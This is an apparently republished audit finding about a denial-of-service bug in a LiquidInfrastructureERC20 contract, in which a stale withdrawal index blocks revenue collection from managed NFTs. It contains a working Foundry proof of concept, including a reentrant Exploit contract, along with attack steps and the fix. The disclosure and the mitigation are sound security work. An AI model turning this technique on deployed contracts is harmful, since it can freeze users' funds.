Withdrawal from NFTs can be temporarily blocked
The withdrawal loop uses a stored index that can end up larger than the managed NFT list after NFTs are released, so the reset condition never triggers. An attacker could then block revenue withdrawals from the remaining managed NFTs, leaving funds stuck in the contract.
SpicyMeatball Follow with SpicyMeatball, rokinot and 13 others
Originally disclosed on Code4rena
Submitted by SpicyMeatball, also found by SpicyMeatball, rokinot, PumpkingWok, rouhsamad, CaeraDenoir, nuthan2x, web3pwn, SovaSlava, Krace, d3e4, Meera, Breeje (1, 2), juancito, BowTiedOriole, JohnSmith, and kutugu
If nextWithdrawal > ManagedNFTs.length, the contract won’t be able to withdraw revenue from managed NFTs, because nextWithdrawal can’t reset.
uint256 limit = Math.min(
numWithdrawals + nextWithdrawal,
ManagedNFTs.length
);
uint256 i;
>> for (i = nextWithdrawal; i < limit; i++) {
LiquidInfrastructureNFT withdrawFrom = LiquidInfrastructureNFT(
ManagedNFTs[i]
);
(address[] memory withdrawERC20s, ) = withdrawFrom.getThresholds();
withdrawFrom.withdrawBalancesTo(withdrawERC20s, address(this));
emit Withdrawal(address(withdrawFrom));
}
nextWithdrawal = i;
>> if (nextWithdrawal == ManagedNFTs.length) {
nextWithdrawal = 0;
emit WithdrawalFinished();
}
Proof of Concept
How nextWithdrawal can become greater than ManagedNFTs length? Multiple causes:
withdrawFromManagedNFTswas called for 8 of 10 NFTs, and then 3 NFTs were released.- Same as above but malicious user frontruns the NFT release with
withdrawFromManagedNFTstransaction. - This may not be the case in the current implementation but if
transferFromwill be switched tosafeTransferFrom, as bot finding suggests, here, the malicious user can callwithdrawFromManagedNFTsfrom the ERC721 callback whileManagedNFTslength is not updated.
Coded POC for onERC721Received callback reentrancy case:
import {LiquidInfrastructureERC20, ERC20} from "../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
contract Exploit {
LiquidInfrastructureERC20 target;
constructor(LiquidInfrastructureERC20 _target) {
target = _target;
}
function onERC721Received(address, address, uint256, bytes memory) public virtual returns (bytes4) {
// set counter
target.withdrawFromManagedNFTs(2);
return this.onERC721Received.selector;
}
}
contract MockToken is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract C4 is Test {
LiquidInfrastructureERC20 liqERC20;
MockToken usdc;
address alice;
address bob;
function setUp() public {
alice = address(0xa11cE);
bob = address(0xb0b);
usdc = new MockToken("USDC", "USDC");
address[] memory rewards = new address[](1);
rewards[0] = address(usdc);
address[] memory approved = new address[](3);
approved[0] = address(this);
approved[1] = alice;
approved[2] = bob;
address[] memory nfts = new address[](3);
nfts[0] = address(new LiquidInfrastructureNFT("NAME"));
nfts[1] = address(new LiquidInfrastructureNFT("NAME"));
nfts[2] = address(new LiquidInfrastructureNFT("NAME"));
liqERC20 = new LiquidInfrastructureERC20("LIQ", "LIQ", nfts, approved, 10, rewards);
for(uint256 i=0; i<nfts.length; i++) {
usdc.mint(nfts[i], 1_000_000 * 1e18);
LiquidInfrastructureNFT(nfts[i]).setThresholds(rewards, new uint256[](1));
LiquidInfrastructureNFT(nfts[i]).transferFrom(address(this), address(liqERC20), 1);
}
}
function testWithdrawDOS() public {
Exploit exploit = new Exploit(liqERC20);
address nft = liqERC20.ManagedNFTs(0);
address toRelease1 = liqERC20.ManagedNFTs(1);
address toRelease2 = liqERC20.ManagedNFTs(2);
liqERC20.withdrawFromAllManagedNFTs();
assertEq(usdc.balanceOf(address(liqERC20)), 3_000_000 * 1e18);
uint256 balBefore = usdc.balanceOf(address(liqERC20));
liqERC20.releaseManagedNFT(toRelease2, address(exploit));
liqERC20.releaseManagedNFT(toRelease1, alice);
// new rewards are ready
usdc.mint(nft, 1_000_000 * 1e18);
liqERC20.withdrawFromAllManagedNFTs();
uint256 balAfter = usdc.balanceOf(address(liqERC20));
// 1 mil wasn't withdrawn
assertEq(balBefore, balAfter);
}
}
Tools Used
Foundry
Recommended Mitigation Steps
Consider modifying the check here to:
+ if (nextWithdrawal >= ManagedNFTs.length) {
nextWithdrawal = 0;
emit WithdrawalFinished();
}
Assessed type
DoS
ChristianBorst (Althea) confirmed via duplicate issue #130
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the reset check uses equality against the list length instead of a greater-or-equal comparison, so a stale index past the end is never reset.
Impact
Revenue from managed NFTs could be temporarily blocked from being withdrawn, and the text notes a malicious user could front-run an NFT release to cause this.
What the attacker needed
Managed NFTs can be released; withdrawal index already advanced
The fix
The reset condition should be changed to a greater-or-equal comparison so the index resets whenever it reaches or passes the list length.
How it was found
- Call the withdraw function so the stored index advances partway through the managed NFT list.
- Release enough managed NFTs that the list becomes shorter than the stored index.
- Trigger a new withdrawal round after new rewards are available.
- Observe that the loop does not run and the new rewards are not collected.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract keeps a list of NFTs it manages and a bookmark saying where to continue next time it collects their earnings. If NFTs are removed from the list, the bookmark can point past the end, and the code that resets it only fires when the bookmark exactly equals the list length. The result is that the contract stops collecting earnings from the NFTs still on the list.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.